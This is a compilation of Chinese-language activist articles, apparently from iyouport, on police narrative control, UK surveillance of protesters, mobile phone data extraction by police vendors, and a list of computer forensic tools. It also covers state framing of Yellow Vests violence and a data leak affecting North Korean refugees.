警察观察者一般建议其他人在现场收集警察的身份信息，并记下时间和地点。你可以要求警察提供警号；帕里奥特说，大多数警察实际上只是携带名片。

误导性信息的雷区

「图」

没有哪个视频能改变警察的行为方式，专家认为，即使是大量的视频也无法改变许多警察部门的暴力文化。相反，警察已经找到了使用视频的方法，特别是身体摄像机的录像，以加强和控制他们在可能的暴力或不当行为案件中的叙述。

详见《身体相机适得其反吗？中国正在开始流行这种东西》

雪城大学传播学助理教授 Jennifer Grygiel 说，人们喜欢认为视频只是一个捕捉信息的中立工具，但事实并非如此，如何发布、以及在什么情况下发布，都需要额外技巧。

"官方在信息发布时可以设定叙述方式，从而控制最初的公众情绪和意见。他们还在社交媒体上推送，他们的账户就像其他人的账户一样，他们的受众越来越多。所以他们会让人们在那里关注他们，因为他们是第一个发布信息的人"，Grygiel 说。他的研究涉及警察部门如何利用社交媒体绕过记者的事实核查：这是从他们注意到警察如何在当地的 **Facebook** 页面上推送罪犯照片开始的。

Grygiel 认为，随着警察变得更善于制作自己的媒体，找到新闻界以外的受众，并充分利用像身体摄像机这样的问责措施，警察在公共场合工作的独立记录可以作为对这种信息传递的反击。有时，就像弗洛伊德谋杀案那样，这种记录是自发的，而且往往是在巨大的痛苦中，当警察暴力或不当行为的明显事例实时发生时。

但在2020年夏天的抗议活动中，警察和与警察有关的组织传播虚假信息的能力是显而易见的，当时警察部门反复宣传不准确的信息。其中一些错误信息在媒体报道和右翼网络的帮助下广泛传播，一心想要加强“反种族主义抗议活动只是对警察的暴力战争”这一叙事。

警察工会宣传了一个令人震惊的假消息，即 Shake Shack 的员工“故意毒害”曼哈顿的一群警察。这个故事在第二天早上被辟谣。纽约警察局的调查人员说，这三名警察的奶昔中的臭味物质并不是警察工会猜测的所谓“漂白剂”，也不是故意添加到饮料中的。尽管警察福利协会和侦探捐赠协会最终都删除了他们的推文，但这些推文有数以万计的转发量，并在保守派和主流媒体中引发了一波广泛的报道。媒体关于这些推文的报道在 **Facebook** 上又得到了数万次的分享，甚至在这个故事被揭穿后仍在继续流传。

这仅仅是一个例子。去年夏天，纽约警察局局长德莫特·谢转发了一段警察从布鲁克林南部人行道上搬走一箱砖头的视频，声称这些砖头是“有组织的抢劫者”所为，为抗议者提供用于暴力的材料，尽管没有任何证据表明这是真的。纽约警察局还向警察分发了一份警报，其中有装满混凝土的咖啡杯的图片，这与建筑工地上使用的混凝土样品非常相似。在俄亥俄州哥伦布市，警方在推特上发布了一张彩色巴士的照片，他们说这辆巴士正在向“暴乱者”提供危险设备，这助长了全国已经猖獗的关于“安替法巴士”降临城市的谣言。事实上，这辆巴士属于一群马戏团的演员，他们说警方引用的所谓暴动武器包括杂耍棒和厨房用具。

简而言之，尽管人们比以往任何时候都更密切地关注警察，但警察仍然在撒谎。仅在夏季抗议活动中，就有数百个关于警察不当行为的视频，其中一些来自警务改革中引入的身体摄像头，旨在让警察承担更多责任。但 Kelley-Chung 认为，任何一个视频所能带来的改变都是有限的。

“我见过有人在拍摄警察的时候被警察抓住了”，他说，“警察知道自己被拍到了**……** 但他们仍然继续施加虐待。”

即使在他与华盛顿特区警方达成和解后，他仍然无法停止思考那一天的一个方面。Kelley-Chung 是黑人，他的拍摄伙伴 Andrew Jasiura 是白人。他们都穿着同样的T恤，带着同样的摄影器材。而警察也看到了 Jasiura。Kelley-Chung 说：“他们把他拉开，以便与他交谈”。

Jasiura 告诉警察，他的黑人搭档也是一名记者。但警察还是继续逮捕了 Kelley-Chung。○□

The tactics police are using to prevent bystander video

原文

警察将活动家称为“国内极端分子”的五个荒谬理由 - iyouport

维稳面面观

【2019年10月8日存档】每当当权者举出“非法”、“极端主义”这类标签时，一定要小心，因为他们的目标是政权稳固和寡头利益，而非社会进步

目前尚不清楚究竟有多少人的个人详细信息被警方列入了秘密的“国内极端主义数据库” —— 该数据库的全名叫国家特殊分支情报系统。

⚠ 该数据库里充满了公民活动家的详细个人资料记录；在有些情况下更详细，是个人资料记录和社交媒体情报（即 社交媒体收集到的数据）相结合的储存方式。

在这里看到：《什么是社交媒体情报？你的推特如何成为抓捕你的理由？》

欢迎来到英国。

2017年，大都会警察局称数据库中有2,690个名字；但这一数字多年来发生了巨大变化。

2014年，他们说有 2,627 个；但是2013年，“卫报”揭露的数字是共有8,931个人在这个数据库里。

由于警方在其数据库中包括了上议院议员 Jenny Jones 的个人资料，2014年数量的突然下降只不过是由于警方在当时成为了头条负面新闻。而不是其他原因。

权利组织 Netpol 长期以来一直认为，警方关于他们应该针对谁的决定是完全主观的和政治性的。

但他们也并非完全武断。

国家反恐警务行动中心的单位有一定的模式 —— ⚠ 这是英国警务部门的最新名称，他们负责收集有关抗议活动的情报 —— 是他们在决定应该瞄准谁，被瞄准的人最有可能在未来遭遇监禁。

那么谁最有可能成为警察的目标？

根据 Netpol 十年的经验总结，这里有五个荒谬的理由，关于为什么警方最有可能把你归类为“国内极端分子”；以及你应该如何保护自己。

1、你参加的活动正在挑战强大的国家和大公司的利益

从2001年到2005年，国家公共秩序情报部门（NPOIU）特别关注针对伦敦国防系统设备（DSEI）军火交易会的群众示威活动。

当局它还在忙着监视 Smash EDO，这是一个针对布莱顿武器制造商的抗议活动；反对针对和平活动家 John Catt 的监视的抗议运动，已经突破诸多法律挑战将反监视的诉讼一路打到了欧洲人权法院，现在该运动本身也被瞄准了。

制药业（葛兰素史克）的政治压力促使2004年成立了国家极端主义战术协调部，五年后，该部门关注的目标是机场和航空业。

2011年，NPIOU 在与核能公司（包括EDF）举行的“利益相关方圆桌会议”上分享了“关于环境行动主义对新[核]建设计划”之风险的可用情报。

2012年，伦敦奥运会上大规模安保行动的反对者也受到了监视。

一次又一次，⚠警方与强大的公司利益 —— 特别是那些涉及关键基础设施或能源供应的利益之间进行了密切合作和情报共享，目标是对被视为“极端主义”的公民抗议者进行监视。

2、你是公民不服从运动的支持者或是直接行动的参与者

抗议活动涉及公民不服从（旨在对国家施加压力以进行谈判或改变政策，例如封锁道路和桥梁）以及直接行动（故意阻碍公司利益，例如封锁露天矿或压裂场）几乎总是非暴力的。但这些抗议行动总是让活动人士因违法而冒着被捕的风险。

两者都代表着对公共秩序的有意挑战、以及警方认为的“合法”抗议活动。“合法”抗议活动是指事先商定路线和时间的游行和集会。

⚠武器贸易的反对者、反水力压裂的活动家、其他环保主义者和动物权利活动家，多年以来一直是被重点监视的目标。

3、您是新兴活动或新兴运动的一部分

面对公众秩序的任何新威胁，警方的第一直觉总是尽可能多地收集情报。

这体现在全国各地的反水力集团网络的发展以及英国在针对支持巴勒斯坦权利或 Black Lives Matter 运动方面的一致性压制态度。

反抗群体通常开始时相对规模较小，但是当局仍认为其潜力未知，意味着他们被视为“风险”，因此遭到了更严格的审查。

虽然环保非暴力组织 Extinction Rebellion 在气候活动家利用公民不服从占领伦敦部分地区时积极安抚警方、甚至赞扬警察，但是毫无疑问，新的 Extinction Rebellion 运动现在已经引起了国家和地区反恐部门的强烈兴趣。

这些单位将决定谁会被贴上“国内极端主义者”的标签，正如他们在2014年对新兴的反水力压裂社会运动所做的那样。

逮捕的次数、公众对警方反应的批评，以及内政大臣要求官员使用“法律的全部力量”的要求，不可避免地意味着高级公共秩序指挥官正在寻求更多关于 **Extinction Rebellion** 运动的情报，以便他们可以计划未来抗议活动的所谓“威胁”。

4、您被视为“领导者”或具有重要作用的人

中文俗语说“枪打出头鸟”，这一逻辑在英国也适用。

正如2018年12月发布的 Netpol 影片中所强调的那样，被视为经常参加由警方监视下的社运组织的抗议活动、或被认为在社会运动中担任重要公共角色的活动人士，更有可能成为情报搜集的重点目标。

抗议者过去的经历表明这种情况更有可能导致例行的骚扰。这包括上门喝茶、停车间滋扰，以及增加逮捕的风险。

“国内极端主义者”的标签为这些警察战术提供了理由；还为警方积极破坏抗议活动提供了借口 —— 他们可以把维稳称为“恢复公共秩序”。

将著名人物归类为“国内极端主义者”的行为总是不会基于实际的犯罪行为，而是基于当局对个人或群体的主观评估，以及对“非法”和合法抗议概念的故意混淆。

许多被发现自己在国内极端主义者数据库中的人都没有任何犯罪记录。

5、你年轻，或被认为是脆弱的

中国对青年运动的敏感程度是众所周知的；英国也一样。

我们一再听到年轻的活动家或他们的家人成为了警方的攻击目标，因为“国内极端主义分子”声称他们“容易受到影响而激进化”。

受害者的例子包括年轻的反水力压裂活动家、和抗议高额学费的学生。

采取行动

如果您怀疑自己被归类为“国内极端分子”，那么第一步是尝试找出警方是否持有您的任何信息。

但是，任何尝试过信息自由法案的人都知道，它是多么的痛苦和难以实现。

Netpol 组织呼吁完全结束将活动家标记为“国内极端分子”的行为，并强烈建议您加入对这一活动的支持。

联合抵抗。

- ○ 英国和中国的状况有很多相似，希望英国公民社会的抵抗实践能为中国的活动家提供一些力量 ** Who are the police most likely to target? Based on Netpol’s decade of experience, here are five ridiculous reasons why the police are most likely to categorise you as a ‘domestic extremist’; and why you should therefore consider making a ‘data protection subject access request’ to see what information is held about you.

原文

警方可拿走设备上全部数据还让你不知道——这是什么技术？哪个公司提供？ - iyouport

你的反乌托邦在线生活阴云密布政府的间谍行为维稳面面观

【2018年6月1日存档】只要一个人的手机被盗取数据，就相当于一大群人的隐私被侵犯。这就是为什么要建议您与注重安全的人交朋友。

---

17 世纪，法国政治家红衣教主 Cardinal Richelieu 有句名言，“给我这个世界上最诚实的人写的六行字，我一定能从中找到足够的理由来绞死他”。无独有偶，斯大林手下的秘密警察首脑 Lavrentiy Beria 曾扬言，“让我看一下那个人，我就能告诉你他是个罪犯”。

他们表达的是相同的意思，即 如果你拥有关于某人的足够的数据，你就能找到足够的证据来发现他犯了某些罪。这就是为什么许多国家的法庭禁止警方进行非法调查（fishing expedition）—— 就是那种基本上允许警方搜查任何东西的文件。空白搜查令是最有可能被极度滥用的东西，它们曾被统治美国的英国殖民者当成控制社会的方式。

而相比互联网时代，上述那些都显得太麻烦了。

不，不只有我们都了解的在线审查和监控、现实中的各种生物识别监控。

还有，如今，警察可以在未经你同意的情况下从你的手机中获取数据，你还有可能完全不知情。

在搜查你的房屋的过程中，如果警察没收了你的财产，你有权获得这些物品的清单，这受法律保护。但是，如果他们是从你的设备中提取数据，你可能甚至不知道这种事已经发生了，更不可能知道警方在他们的数据库中存储了哪种数据，储存多久。

在这个时代，每个人都非常依靠并信任自己的手机，也正因此，手机揭示了我们的身份，记住了太多我们自己都忘掉了的事，我们把太多隐私放在手机上了，甚至都没有意识到。照片，日历，互联网浏览历

史，所到之处的详细信息，电子邮件，社交媒体，医疗信息，网上银行，健康和健身数据; 揭示了一个人的购物习惯，音乐品味和政治观点; 并拥有大量的应用程序，可生成并保存大量数据……并且，自己手机上的数据不仅与自己有关，还与朋友，家人，雇主和同事密切相关，一个人的手机被盗取数据，相当于一大群人的隐私被侵犯。

隐私国际组织已经发现，在英国，警方正在使用高度侵入性的技术，在没有法律基础的情况下从个人手机中提取和存储数据。该技术在 2012 年伦敦奥运会期间由大都会警察局使用后，已经在全国范围内推出。没有公众咨询，也没有议会审查。

隐私国际获得的文件显示了警方之间关于搜索、下载和存储个人数据之法律依据存在明显的相互矛盾的观点。此外，许多警察部队认为他们可以从移动设备中提取数据，而无需通知设备所有者，无论是对方是受害者、证人还是嫌疑人。由于没有明确的删除规则，警方认为他们可以无限期地保留数据，即使这个人根本无罪。

而且这些数据储存从未加密！也就是说，它很可能不止警方可见。

披露的文件中还包括大都会警察局的采购文件，其中显示“2016 年3月将在所有 32 个 MPS 区和12个枢纽中设置 SSK”，这表明警察在地方和地区一级越来越多地使用这种采掘技术/数据犯罪，而不是将设备送往相关高科技犯罪部门。

什么是手机提取？

该技术用于从移动设备恢复数字证据或数据。使用提取设备，警察可以获得可保存和分析的数据的存储器转储。根据所使用的硬件和软件，将生成一份提取报告，使调查人员能够一目了然地查看目标人的位置历史、与谁交谈及时间、还有潜在的大量其他揭示性信息。

延伸阅读：“一整面墙上布满了显示器。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐”……《隐身游戏》

提取的数据类型

这些向英国警察部队出售入侵技术的公司并不羞于谈起他们的利益。MSAB 公司声称：“如果您有机会使用 SIM 卡，那么您就可以访问一

个人的全部生活”……

MSAB 承认“今天[在手机中]存储的大量数据比以往任何时候都要大得多“。他们声称他们生产的“XRY 软件”已提供给“97％的英国警察部队”，还有在私营部门工作的所谓“数字专家”。

MSAB 的 XRY Physical 允许访问“系统和已删除的数据，并可以使用额外的功能来帮助克服设备锁定和加密挑战。” XRY Cloud 允许从“超越移动设备本身连接的基于云的存储……无需用户重新输入登录信息。“他们说，”这在寻找 Facebook，Google，iCloud，Twitter，Snapchat，WhatsApp，Instagram 等服务的在线社交媒体数据和基于应用程序的数据时特别有用。“ 即使是警察自己也会骄傲于手机可以容纳的信息范围。

莱斯特郡警察在其网站上声明：

> “Think about the information stored it can reveal about you, your friends and your life? All of your calls, messages, who you know. It may have diary appointments, photographs and web browsing history.“

Cellebrite 工具可以获得“输入的地点、GPS 修复、最喜欢的位置、GPS 信息”，并提供“全面的数据提取，甚至设备无法访问的分区 … 物理提取提供移动设备的整个闪存的逐位拷贝。该提取方法不仅能够获取完整数据，还能够获取隐藏或已删除的数据。

除了从您的联系人、电话和邮件中获取信息外，警方还会下载手机应用程序生成的数据。

如下面所指出的，警方可以“以每分钟 1500 多个移动应用程序的速度解码数据。”突出显示了从移动应用数据下载数据的潜在“价值”。

根据大都会警察局公布的一份文件，不可能限制提取的内容，也不可能隔离与特定日期相关的数据。

> ’10.4 Handling Irrelevant Data When a SSE kiosk is used to obtain electronic data from a mobile device, it will obtain all data of a particular type, rather than just the individual data that is relevant to a particular investigation. For example, if a

> photograph on a ‘witness’ mobile phone is relevant, because it shows an offence being committed, then the kiosk will acquire all photographs on that phone, rather than just the photographs of the offence. If text messages to a victim of harassment are required to investigate the harassment allegations, then the kiosk will acquire all text messages on that phone.’

哪种权力正在使用这项技术？

根据信息透明法案的要求，47 名警察透露了一些内情。XRY21（MSAB 产品）、MSAB22 和 Micro Systemation（MSAB）是为 26 个英国警察部队提供的入侵和数据采掘工具。

十二个警察部队明确表示他们在低级别犯罪和严重犯罪中都使用 **SSK25**；13 个部队使用集线器来提取低级别犯罪和严重犯罪的移动电话数据。

哪些公司在提供这种技术？

英国警察部队使用的技术来自多个安全公司，即 Cellebrite，Radio Tactics 和 MSAB。由安全公司制造的专门向政府机构销售的提取工具的复杂程度各不相同，但都可以访问设备上的数据并将其可视化以便于分析。

」 **Cellebrite** 是最著名的手机“破解者”之一。该公司成立于以色列，现在由一家日本企业集团所有，该集团专门为执法部门提供黑客设备和技术。美国有线电视新闻网的调查报道称，“多年来，它一直是联邦调查局特工闯入嫌疑人手机的首选资源。”被称为 “邪恶的天才”。

该公司并非没有争议。为了揭示与此技术相关的风险，The Intercept 曾经的一项调查研究了 Cellebrite 是否将其产品销售给人权记录较差的国家。他们根据人权活动家 Abdali al-Singace 审判中提供的证据得出结论，Cellebrite 卖给了巴林，其技术被用来起诉酷刑受害者 al-Singace。

Cellebrite 的“通用取证装置”（**UFED**）就是电子设备入侵装置，于2007年首次推出，是一款手持设备。宣传中称 UFED Ultimate“提供市场领先的数字设备访问和无与伦比的功能，可提取和解码每一盘司的数据。”功能和优势包括：

- 能够绕过模式、密码或 PIN 锁并克服加密的挑战；
- 能从更广泛的设备访问更多数据：从智能手机，功能手机，平板电脑，播放器，GPS 设备，SIM 卡，智能手表等设备，访问实时、隐藏甚至已删除的数据，附有大容量存储设备等，也就是说可以长期保存数据；
- 通过查看地图和时间表，跟踪并确定人员、地点和事件之间的联系强度；

据称可授权现场人员在几分钟内直接提取密码，绕过用户锁定，并从超过 **1,500** 个移动应用程序中解码数据”。

」 **MSAB33** 总部位于斯德哥尔摩，自1984年以来一直参与移动通信项目。目前的产品包括：

- XRY Logical：在犯罪现场从设备中访问和恢复实时及文件系统数据；
- XRY Physical：允许审查员绕过操作系统以转储设备中的所有原始数据。通过此内存转储，可以访问系统受保护和已删除的数据，还可以克服锁定设备上的安全和加密挑战；
- XRY Cloud：通过使用移动设备上的令牌从连接的基于云的存储中恢复移动设备本身以外的数据，这些令牌使应用程序无需用户重新输入登录详细信息即可运行。这在寻找 Facebook，Google，iCloud，Twitter，SnapChat，WhatsApp，Instagram 等服务的社交媒体数据和基于 appbased 的信息时特别有用。

」 **Radio Tactics** 是一家总部位于英国的公司，成立于 2003 年，他们似乎多年来一直与英国警方有牵连。 James Hart 博士，据称拥有包括在大都会警察局和新苏格兰场的广泛运作和指挥经验，于 2012 年担任主席一职。他们网站的一个现已删除的部分指出，时间为 2004 年：

> “在与泰晤士河警察 HTCU [高科技犯罪部门]会面后，新成立的’Radio Tactics Limited’ 开始开发其第一个产品：Forensic SIM 工具包（FST）。在八个月内，FST 已经交付给了它的第一个客户，并且到第二年年底，要在超过三分之二的英国执法机构中占有一席之地。“

隐形数据：科技和移动电话公司的作用

很明显，警方提供的信息很少，与制造商和强大的科技公司对于手机

产生的关于其用户的全部数据以及所有大量数据（可以提取的数据）缺乏清晰度相结合。在这个问题上出现的少数媒体报道反而突出了我们对设备如何工作以及如何被操纵的了解甚少。例如，在 2017 年5月的报道显示，优步可以使用持久性身份标记 iPhone，即使在手机数据被擦除之后也能识别设备；在另一个报道中，Apple 让 Uber 在他们不知情的情况下访问用户的 iPhone 数据。

保留，删除和个人权利

据了解， 警察局使用 SSK 专用终端提取数据是在 2012 年首次于 18 个大都会警察局进行试验的。英国广播公司报道了大都会警察局实施该系统的消息，从被拘留的嫌犯中提取手机数据，包括通话记录、短信和联系方式。无论当事人是否被起诉，这些数据都将保留。

大都会警察局关于 SSK 的当地工作指令提及了数据保留，但没有说明他们所指的法定义务，也没有提供任何监督证据。他们只是简单地说："如果数据被认为没有警务目的，那么组织就有法定义务删除这些数据。"

英国隐私保护组织 Big Brother Watch 的 2017 年报告就指出：**93%** 的英国警察部队正在从包括手机、笔记本电脑、平板电脑和台式机在内的数字设备中提取数据。报告说，仅在 **2016** 年，德比郡警察局就从 **635** 台计算机和 **680** 部手机/平板电脑中提取数据。在 **2013** 年至 **2016** 年期间，大都会警察局从 **46,400** 台设备中提取数据。

上述数字和案例，您可以在这里找到所有资料来源(pdf), 在文档最下面。

就如开头所述，"数字取证"正在成为全球执法者和权力部门的热衷，这其中的危险令人不寒而栗。您可以在这篇文章中体验一下《"六行字足够绞死你"，这不是玩笑—— 监视之恶（五）数据指控》。

我们不了解关于中国政府使用的针对移动设备的"数字取证技术"，也不了解其实际上的使用状况。本报告是英国警方对这种间谍工具的使用，并特别介绍了提供这种技术的公司。不必怀疑这些公司是否会出售相关技术给压迫性国家的政府，他们是生意人，从来不嫌钱烫手。希望读者能从本文中了解到的知识可以做以警惕，切勿将太多个人信息放在电子设备上！

延伸阅读：《集会参与者有必要了解的基本安全措施—— 最需要提醒注意的就是手机》；《如果您的电子设备曾经离开身边后又找回，

您应该意识到它的危险，这是应该怎么做》

附—— 以下是七款最流行的针对计算机的数字取证工具

1、SIFT—SANS

SIFT 具备检查原始磁盘（比如直接从硬盘或其他任何存储设备上获取的字节级数据）、多种文件系统及证据格式的能力。该工具包基本基于 Ubuntu 系统，是包含了执行深度取证调查或响应调查所需工具的一张 Live CD。

「图」

SIFT 的主要特点有：

- 基于 Ubuntu LTS 14.04；
- 支持 64 位系统；
- 内存利用率更高；
- 自动数字取证及事件响应(DFIR)包更新及自定义设置；
- 最新的取证工具和技术；
- 可用 VMware Appliance 进行取证；
- 兼容 Linux 和 Windows；
- 可选择通过(.iso)镜像文件单独安装或经 VMware Player/Workstation 使用 ReadTheDocs 上有在线文档项目；
- 扩展了支持的文件系统。

2. ProDiscover Forensic

ProDiscover Forensic 是可在给定计算机存储磁盘上定位全部数据，同时还能保护证据并产生文档报告的计算机/网络安全工具。

该工具可以从受害系统中恢复任意已删除文件并检查剩余空间，还可以访问 Windows NTFS 备用数据流，预览并搜索/捕获（比如截屏或其他方式）硬件保护区(HPA)的进程。ProDiscover Forensic 有自己的技术来执行这些操作。

ProDiscover Forensic 在扇区级读取磁盘，因而没有数据可以在该工具面前隐身。

ProDiscover Forensic 的主要功能有：

- 创建包含隐藏 HPA 段（专利申请中）的磁盘比特流副本供分

析，可以保证原始证据不受污染；
- 搜索文件或整颗磁盘（包括剩余空间、HPA 段和 Windows NT/2000/XP 备份数据流），可进行完整的磁盘取证分析；
- 不修改磁盘任何数据（包含文件元数据）的情况下，预览所有文件—— 即便文件被隐藏或删除；
- 在文件级或磁盘簇级检查数据并交叉对比，以确保没漏掉任何东西，即便是在磁盘剩余空间中；
- 使用 Perl 脚本自动化调查任务。

3. Volatility Framework

Volatility Framework 是黑帽独家发布的一个框架，与高级内存分析及取证直接相关。后者基本上就是分析受害系统中的易变内存。易变内存或易变数据是频繁刷新的数据，就是在重启系统时可能丢失的那些数据。对此类数据的分析可以采用 Volatility Framework 进行。该框架引入了使用 RAM (易变内存)数据监视运行时进程和任意系统状态的强大力量。

该框架也为数字调查员提供了高效进行取证研究的独特平台。国家司法机构、国防或全球任意商业调查机构都使用该工具。

Volatility Framework 的主要特点有：

- 内聚的单一框架；
- 遵从开源 GPLv2 许可；
- 以 Python语言编写；
- Windows、Linux、Mac可用；
- 可扩展可脚本化的API；
- 无可匹敌的功能集；
- 文件格式涵盖全面；
- 快速高效的算法；
- 严谨强大的社区；
- 专注取证/事件响应/恶意软件。

4. Sleuth Kit (＋Autopsy)

命令行接口是与计算机程序互操作的一种模式。命令行模式下，用户/客户端向程序发送连续的文本行，也就是编程语言中的指令。

Sleuth Kit 就是此类命令行接口/工具的集合。该工具可以检查受害设备的磁盘镜像，恢复出被破坏的文件。Sleuth Kit 一般与其他很多开

源或商业取证工具一起用在 Autopsy 数字取证平台中。

Autopsy 功能列表：

- 多用户情形：可供调查人员对大型案件进行协作分析；
- 时间线分析：以图形界面显示系统事件，方便发现各类活动；
- 关键词搜索：文本抽取和索引搜索模块可供发现涉及特定词句的文件，可以找出正则表达式模式；
- Web 构件：从常见浏览器中抽取Web活动以辅助识别用户活动；
- 注册表分析：使用RegRipper来找出最近被访问的文档和 USB 设备；
- LNK 文件分析：发现快捷方式文件及其指向的文件；
- 电子邮件分析：解析 MBOX 格式信息，比如 Thunderbird；
- EXIF：从 JPEG 文件中抽取地理位置信息和相机信息；
- 文件类型排序：根据文件类型对文件分组，以便找出全部图片或文档；
- 媒体重放：不用外部浏览器就查看应用中的视频和图片；
- 缩略图查看器：显示图片的缩略图以快速浏览图片。

5. CAINE（计算机辅助调查环境）

CAINE 基于 Linux 系统打造，通常是包含了一系列取证工具的一张 Live CD。由于最新版 CAINE 建立在 Ubuntu Linux LTX、MATE 和 LightDM 上，熟悉这些系统的人便可以无缝使用 CAINE。

6. Xplico

Xplico 是又一款开源网络取证分析工具，可以重建 Wireshark、ettercap 等包嗅探器抓取的网络流量内容，来自任何地方的内容都可以。

Xplico 的特性包括：

- 支持 HTTP、SIP、IMAP、POP、SMTP、TCP、UDP、IPv4、IPv6协议；
- 端口无关的协议识别(PIPI)；
- 多线程；
- 可在 SQLite 数据库或 Mysql 数据库及文件中输出数据和信息；
- Xplico 重组的每个数据都与一个XML文件相关联，该 XML 文

件唯一标识了该数据流及包含该重组数据的 pcap 包；
- 对数据记录的大小或文件数量没有任何限制（唯一的限制只存在于硬盘大小）；
- 模块化。每个 Xplico 组件都是模块化的。
- 某些数字取证及渗透测试操作系统，如 Kali Linux、BackTrack 等，默认安装了 Xplico。

7. X-Ways Forensics

X-Ways Forensics 是取证调查人员广泛使用的高级工作平台。 X-Ways Forensics 不怎么占资源，速度快，还能找出所有已经被删除的文件，还有其他一些附加功能。完全可移植，可以存放在U盘中，在 Windows 系统上无需任何额外的安装。

X-Ways Forensics 的主要特点包括：

- 磁盘克隆与镜像；
- 能读取 RAW(.dd)镜像文件、ISO、VHD 和 VMDK 镜像中的分区和文件系统结构；
- 可读取磁盘、磁盘阵列和超过2TB的镜像；
- 自动识别丢失/已删除的分区；
- 可用模板查看并编辑二进制数据结构；
- 递归浏览所有子目录中的所有现有及已删除文件。

○□

原文

谁的暴力 - iyouport

维稳面面观

【2019年6月27日存档】国家政权和主流媒体联手栽赃抗议者，将受害者说成是罪犯、将罪犯说成受害者。这是一种值得警惕的秘密行动，它是什么样的？

暴力是统治阶级用来诋毁来自下方的运动并为其镇压辩护的一种壮观的武器。暴力是强有力的政治工具，可以治理群众，并保持群众与统治阶层的地位关系不变。

然而，为了做到这一点，暴力武器在第二种意义上也是壮观的：它创造了一个精心策划的混战，旨在隐藏统治阶级本身的暴力，同时将抵抗行为转化为犯罪。

这就是大众媒体正在对黄背心所做的事，它们称“黄背心发动了过多的暴力事件，现在需要以最强烈的措辞予以压制。”

香榭丽舍大街委员会主席 Jean-NoëlReinhardt 被许多主要新闻媒体的麦克风所包围，他在接受采访时宣称，该运动“不再是黄背心”，而是黑背心，只是“表达仇恨和摧毁意志”。并宣称由于其对商业和旅游活动的“影响”，以及对香榭丽舍大街全球象征的“诽谤”，这种情况不能继续下去；他的声明无形地融入了总理 ÉdouardPhilippe 的声明中，这家伙称：将采取新措施禁止某些地方的抗议活动，并允许更严厉的警察镇压。

值得注意的是，Unsa 警察工会的 Philippe Capon 公开表示，警察在星期六接到的命令是不介入，因为有一个明确的选择是“让一些事变得更糟”。时机不可能更好了，因为政府在插手。黄背心一直没有撤退，并且在整个冬天和对他们发动的极端形式的镇压性暴力中幸存了下来。

因此，目前的暴力场景有两个目的。首先，它掩盖了资本主义和富豪寡头政治的结构性暴力，这正是当前起义的主要根源。群众的生活条件越来越不可接受，传统的政党政治和工会制度功能失调。这种强烈

的“暴力”正是为了分散资本主义统治下的常规破坏性，而不是认真对待这种国家暴力的无处不在和日常化，即 资本主义不平等的暴力。

当权者指责焚烧银行的“暴力”，而不是建立银行的“暴力”，或更普遍的是银行系统在确保全球统治阶级霸权的日常角色中的暴力。

由国家和大众媒体精心策划的暴力奇观，其目的是将暴力符号强行附加到黄背心运动中，以便同时将其定罪并为当权者自己的残酷镇压做辩护。

在许多案件中，警察已经被通过录像记录下破坏财产并将其归咎于抗议者的证据，并且许多警官携带锤子的画面已经被拍照和录像，大概就是为此目的。防暴警察中至少有一名成员公开反对了针对非暴力抗议者的暴力行为，内政部长对此表示支持，并反对在抗议活动中煽动暴力的努力。

法国的精英圈子在宣传活动方面并没有取得完全的成功，因为即使是像联合国、欧洲理事会、欧洲议会、和大赦国际这样的自由派机构，他们也一定程度上试图让国家暴力变得无形，或者“至少是有道理的”。

欧洲委员会人权事务专员 DunjaMijatović 于2月26日编写了一份备忘录，总结了一些暴力事件，同时也批评了国家和主流媒体保存的统计数据缺乏准确性和严谨性：“根据内政部12 122 LBD的数据，在黄背心运动开始至2019年2月4日之间，发射或投掷了1 428枚即时催泪瓦斯手榴弹和4 942枚手持式手榴弹。” 根据报告中引用的一名独立记者的计算，“38人上肢受伤，包括5人失去了手，52人下肢伤，189人头部受伤，其中20人失明“。在其中医务人员和记者也经常遭到袭击，并且发生了无数次野蛮的袭击、并有数量创纪录的抗议者被捕。

尽管如此，国家的重要部门、大众媒体和专家们都在竭尽全力掩盖对非暴力抗议者、医务人员、记者和旁观者的系统性伤害。

马克龙（Emmanuel Macron）通过断然宣称我们今天不能在法国谈论“镇压”或“警察暴力”，从而提炼出关于国家的自由主义意识形态的本质，因为“这些词语在法治下是不可接受的”[dansunétatdedroit]“。因此，严格来说，不存在“国家暴力”这样的事，因为国家反对暴力，而暴力只能来自“外面的野蛮行为和无政府主义势力”。

在这里，我们看到壮观的双重暴力运动。一方面，国家努力通过资本主义统治来掩盖其壮观的剥削，并对任何抵抗进行同样壮观的镇压。

另一方面，它试图在抗议活动中煽动或制造引人注目的“暴力”，以便同时诋毁抗议者、并利用这一景观作为国家自身增加的剥削和镇压的掩护。这就是法国目前正在发生的壮观暴力的两个主要方面。

必须确定这种策略是什么，并找到新的战略来对抗其极为恶劣的影响。否则，我们就要冒着被 Malcolm X 在1964年12月13日的演讲中如此有先见之明地指出的意识形态倒置的风险，他在演讲中解释说，新闻界在其“形象制作角色”中是如此的强大，以至于它可以使罪犯看起来像受害者，让受害者看起来像罪犯。“

这一案例是尤其值得警惕的。它是一种非常狡猾的秘密行动，追求正义的人们需要格外警惕—— 我们将在明天的知识点栏目中详细介绍关于什么的秘密行动、世上经典的秘密行动案例，并提供揭露秘密行动之方法的相关资料。

Spectacular Violence as a Weapon of War Against the Yellow Vests, the press is so powerful in its “image-making role” that “it can make a criminal look like he’s the victim and make the victim look like he’s a criminal.”

原文

金氏王朝如何使用 “高科技” 抓捕叛逃者 - iYouPort

政府的间谍行为维稳面面观

朝鲜难民对金正恩的黑客大军感到恐惧 …… 但问题不只有这么简单

「图」

「图」

去年12月，一个身份不明的黑客偷走了997名朝鲜难民的个人信息，震惊了韩国的难民社区。

根据统一部的说法，难民的姓名、生日和住址是从哈那中心的一台个人计算机上窃取的，该中心是由该部经营的一个机构，朝鲜难民到达位于韩国庆尚北道的该中心后可以得到帮助。

对于朝鲜难民来说，拥有大量个人私密信息的机构其计算机系统中的漏洞问题引起了严重的关注，因为，如果朝鲜难民的这些信息被朝鲜政府拿走，他们和家人可能会被胁迫重返朝鲜。

“我们中的许多人在得知这一消息后就无法日常生活了。与我们家庭成员安全有关的任何事对我们来说都是至关重要的，” 朝鲜难民和民主化委员会主席 许光日 Heo Kwang-il 说。

另一位朝鲜难民 Lee Han-byul 说，有些难民甚至晚上不敢开灯。

李说：“自从哈那中心发生数据泄漏事件以来，许多难民就变得格外谨慎了，再难以与公共机构和政府机构共享任何个人信息。”

